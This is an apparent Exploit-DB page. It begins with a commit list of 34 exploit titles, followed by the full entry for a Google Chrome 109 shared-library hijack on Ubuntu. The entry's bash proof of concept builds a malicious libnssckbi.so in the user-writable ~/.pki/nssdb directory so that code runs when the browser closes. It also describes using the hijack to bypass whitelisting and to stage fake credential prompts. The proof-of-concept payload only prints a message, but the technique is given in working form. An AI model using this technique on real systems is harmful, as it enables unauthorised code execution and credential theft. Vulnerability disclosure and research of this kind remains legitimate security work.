85954a8fad
34 changes to exploits/shellcodes/ghdb ENTAB ERP 1.0 - Username PII leak ReQlogic v11.3 - Reflected Cross-Site Scripting (XSS) ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS) FortiRecorder 6.4.3 - Denial of Service Schneider Electric v1.0 - Directory traversal & Broken Authentication Altenergy Power Control Software C1.2.5 - OS command injection Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE) Pentaho BA Server EE 9.3.0.0-428 - Remote Code Execution (RCE) (Unauthenticated) Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu) Lucee Scheduled Job v1.0 - Command Execution Microsoft Excel 365 MSO (Version 2302 Build 16.0.16130.20186) 64-bit - Remote Code Execution (RCE) Adobe Connect 11.4.5 - Local File Disclosure Palo Alto Cortex XSOAR 6.5.0 - Stored Cross-Site Scripting (XSS) Suprema BioStar 2 v2.8.16 - SQL Injection Symantec Messaging Gateway 10.7.4 - Stored Cross-Site Scripting (XSS) dotclear 2.25.3 - Remote Code Execution (RCE) (Authenticated) GLPI v10.0.1 - Unauthenticated Sensitive Data Exposure Icinga Web 2.10 - Arbitrary File Disclosure Joomla! v4.2.8 - Unauthenticated information disclosure Medicine Tracker System v1.0 - Sql Injection Online Appointment System V1.0 - Cross-Site Scripting (XSS) Online-Pizza-Ordering -1.0 - Remote Code Execution (RCE) pfsenseCE v2.6.0 - Anti-brute force protection bypass Restaurant Management System 1.0 - SQL Injection WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS) X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated) X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated) Microsoft Windows 11 - 'cmd.exe' Denial of Service ActFax 10.10 - Unquoted Path Services ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path RSA NetWitness Platform 12.2 - Incorrect Access Control / Code Execution Stonesoft VPN Client 6.2.0 / 6.8.0 - Local Privilege Escalation
58 lines
No EOL
2 KiB
Text
58 lines
No EOL
2 KiB
Text
#Exploit Title: Google Chrome 109.0.5414.74 - Code Execution via missing lib file (Ubuntu)
|
|
Product: Google Chrome
|
|
Discovered by: Rafay Baloch and Muhammad Samak
|
|
#Version: 109.0.5414.74
|
|
#Impact: Moderate
|
|
#Company: Cyber Citadel
|
|
#Website: https://www.cybercitadel.com
|
|
#Tested-on : Ubuntu 22.04.1
|
|
|
|
*Description*
|
|
|
|
Google chrome attempts to load the 'libssckbi.so' file from a user-writable location.
|
|
PATH: /home/$username/.pki/nssdb/libnssckbi.so
|
|
Since the Shared Library 'ibnssckbi.so' specified path is writeable.
|
|
It is possible to achieve the Code Execution by placing the malicious file with
|
|
the name `libnssckbi.so` in the specified path.
|
|
|
|
|
|
|
|
*exploit*
|
|
|
|
Following is the POC that could be used to reproduce the issue:
|
|
|
|
echo "\n\t\t\tGoogle-Chrome Shared Library Code Execution..."
|
|
echo "[*] Checking /.pki/nssdb PATH"
|
|
if [ -d "/home/haalim/.pki/nssdb" ]
|
|
then
|
|
|
|
echo "[+] Directory Exists..."
|
|
if [ -w "/home/haalim/.pki/nssdb" ]
|
|
then
|
|
echo "[+] Directory is writable..."
|
|
|
|
echo "[+] Directory is writable..."
|
|
echo "[+] Generating malicious File libnssckbi.so ..."
|
|
echo "#define _GNU_SOURCE" > /home/haalim/.pki/nssdb/exploit.c
|
|
echo "#include <unistd.h>" >> /home/haalim/.pki/nssdb/exploit.c
|
|
echo "#include <stdio.h>" >> /home/haalim/.pki/nssdb/exploit.c
|
|
echo "#include <stdlib.h>" >> /home/haalim/.pki/nssdb/exploit.c
|
|
echo "void f() {" >> /home/haalim/.pki/nssdb/exploit.c
|
|
echo 'printf("Code Executed............ TMGM :)\n");' >> /home/haalim/.pki/nssdb/exploit.c
|
|
echo "}" >> /home/haalim/.pki/nssdb/exploit.c
|
|
gcc -c -Wall -Werror -fpic /home/haalim/.pki/nssdb/exploit.c -o /home/haalim/.pki/nssdb/exploit.o
|
|
gcc -shared -o /home/haalim/.pki/nssdb/libnssckbi.so -Wl,-init,f /home/haalim/.pki/nssdb/exploit.o
|
|
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
Upon closing the browser windows, the application executes the malicious code
|
|
|
|
|
|
*Impact*
|
|
|
|
The attacker can use this behavior to bypass the application whitelisting rules.
|
|
This behavior can also lead to DoS attacks.
|
|
An attacker can trick a victim into supplying credentials by creating a fake prompt. |